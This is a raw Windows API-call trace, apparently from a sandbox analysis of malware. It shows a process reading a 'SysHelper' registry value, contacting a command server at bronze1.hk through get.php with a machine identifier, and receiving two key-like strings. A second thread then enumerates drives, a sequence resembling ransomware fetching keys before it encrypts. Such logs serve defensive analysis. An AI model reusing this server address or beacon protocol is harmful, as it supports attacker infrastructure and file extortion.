timeGetTime () returned 0x8cc6 [0110.877] GetLastError () returned 0x54f [0110.878] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x3bc) returned 0x3276df0 [0110.878] GetCurrentThreadId () returned 0x670 [0110.878] SetLastError (dwErrCode=0x54f) [0110.878] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion", ulOptions=0x0, samDesired=0xf003f, phkResult=0x9a8a6e4 | out: phkResult=0x9a8a6e4*=0x5ac) returned 0x0 [0110.878] RegQueryValueExW (in: hKey=0x5ac, lpValueName="SysHelper", lpReserved=0x0, lpType=0x9a8a6d8, lpData=0x9a8a6e0, lpcbData=0x9a8a6dc*=0x4 | out: lpType=0x9a8a6d8*=0x4, lpData=0x9a8a6e0*=0x1, lpcbData=0x9a8a6dc*=0x4) returned 0x0 [0110.878] RegCloseKey (hKey=0x5ac) returned 0x0 [0110.878] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0110.878] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x326b030 [0110.878] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x735c68 [0110.878] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x32771b8 [0110.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x735c68, cbMultiByte=-1, lpWideCharStr=0x32771b8, cchWideChar=1056 | out: lpWideCharStr="6F1FD8FD0D4976892B2858396FD186FE") returned 33 [0110.878] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x850) returned 0x3277a00 [0110.878] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32771b8 | out: hHeap=0x660000) returned 1 [0110.878] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x735c68 | out: hHeap=0x660000) returned 1 [0110.878] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8d0) returned 0x3278258 [0110.878] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326b030 | out: hHeap=0x660000) returned 1 [0110.878] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3277a00 | out: hHeap=0x660000) returned 1 [0110.878] lstrcpyW (in: lpString1=0x9a8af78, lpString2="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php?pid=6F1FD8FD0D4976892B2858396FD186FE" | out: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php?pid=6F1FD8FD0D4976892B2858396FD186FE") returned="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php?pid=6F1FD8FD0D4976892B2858396FD186FE" [0110.878] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php?pid=6F1FD8FD0D4976892B2858396FD186FE", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0111.175] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a8a778, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x9a8a774 | out: lpBuffer=0x9a8a778*, lpdwNumberOfBytesRead=0x9a8a774*=0x67) returned 1 [0111.176] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0111.177] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0111.177] lstrlenA (lpString="{\"line1\":\"") returned 10 [0111.177] lstrcpyA (in: lpString1=0x9a8ab78, lpString2="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" | out: lpString1="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" [0111.177] lstrcpyA (in: lpString1=0x9a8a778, lpString2="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" | out: lpString1="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" [0111.177] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.177] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.177] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.177] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.177] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.177] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.177] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.177] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.177] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.177] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.177] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.177] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.177] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.177] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.177] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.177] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.177] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.177] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.177] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.177] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.177] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.178] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.178] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.178] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.178] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.178] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.178] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.178] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.178] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.178] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.178] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.178] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.178] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.178] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.178] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.178] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.178] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.178] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.178] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.178] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.178] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.178] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf260 [0111.178] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8ba) returned 0x327a468 [0111.178] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x31bf260, cbMultiByte=-1, lpWideCharStr=0x327a468, cchWideChar=1117 | out: lpWideCharStr="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 94 [0111.178] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8c0) returned 0x327ad30 [0111.178] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327a468 | out: hHeap=0x660000) returned 1 [0111.178] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf260 | out: hHeap=0x660000) returned 1 [0111.178] lstrcpyW (in: lpString1=0x464f20, lpString2="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" | out: lpString1="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" [0111.178] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327ad30 | out: hHeap=0x660000) returned 1 [0111.178] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0111.178] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbc) returned 0x3251760 [0111.178] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9a8a778, cbMultiByte=-1, lpWideCharStr=0x3251760, cchWideChar=94 | out: lpWideCharStr="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 94 [0111.178] lstrcpyW (in: lpString1=0x464f20, lpString2="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" | out: lpString1="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" [0111.178] lstrlenW (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI") returned 40 [0111.178] lstrlenA (lpString="\",\"line2\":\"") returned 11 [0111.178] lstrcpyA (in: lpString1=0x9a8ab78, lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" | out: lpString1="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" [0111.178] lstrcpyA (in: lpString1=0x9a8a778, lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" | out: lpString1="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.179] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.180] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.180] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.180] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326bf48 [0111.180] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x854) returned 0x327a468 [0111.180] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x326bf48, cbMultiByte=-1, lpWideCharStr=0x327a468, cchWideChar=1066 | out: lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 43 [0111.180] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x327acc8 [0111.180] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327a468 | out: hHeap=0x660000) returned 1 [0111.180] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326bf48 | out: hHeap=0x660000) returned 1 [0111.180] lstrcpyW (in: lpString1=0x46c450, lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" | out: lpString1="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" [0111.180] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x327acc8 | out: hHeap=0x660000) returned 1 [0111.180] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0111.180] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x56) returned 0x3294360 [0111.180] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9a8a778, cbMultiByte=-1, lpWideCharStr=0x3294360, cchWideChar=43 | out: lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 43 [0111.180] lstrcpyW (in: lpString1=0x46c450, lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" | out: lpString1="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" [0111.180] lstrlenW (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI") returned 40 [0111.180] lstrlenW (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned 40 [0111.180] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3278258 | out: hHeap=0x660000) returned 1 [0111.180] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3276df0 | out: hHeap=0x660000) returned 1 Thread: id = 279 os_tid = 0x67c [0111.464] timeGetTime () returned 0x8f17 [0111.464] GetLastError () returned 0x54f [0111.464] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x3bc) returned 0x327c638 [0111.464] GetCurrentThreadId () returned 0x67c [0111.464] SetLastError (dwErrCode=0x54f) [0111.464] Sleep (dwMilliseconds=0x0) [0111.466] Sleep (dwMilliseconds=0x3e8) [0112.471] GetLogicalDrives () returned 0x4 [0112.471] SetErrorMode (uMode=0x1) returned 0x0 [0112.471] PathFileExistsA (pszPath="C:\\") returned 1 [0112.471] SetErrorMode (uMode=0x0) returned 0x1 [0112.471] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0112.471] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x806) returned 0x331d740 [0112.471] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3b2fe60, cbMultiByte=-1, lpWideCharStr=0x331d740, cchWideChar=1027 | out: lpWideCharStr="C:\\") returned 4 [0112.471] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x3306648 [0112.471] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.472] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x18) returned 0x3259420 [0112.472] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.472] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.472] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.472] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.472] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.472] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.472] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.472] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.472] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.472] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.472] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.472] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.472] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.472] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.472] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.472] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.473] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.473] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.473] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.473] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.473] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.473] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.473] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.473] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.473] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 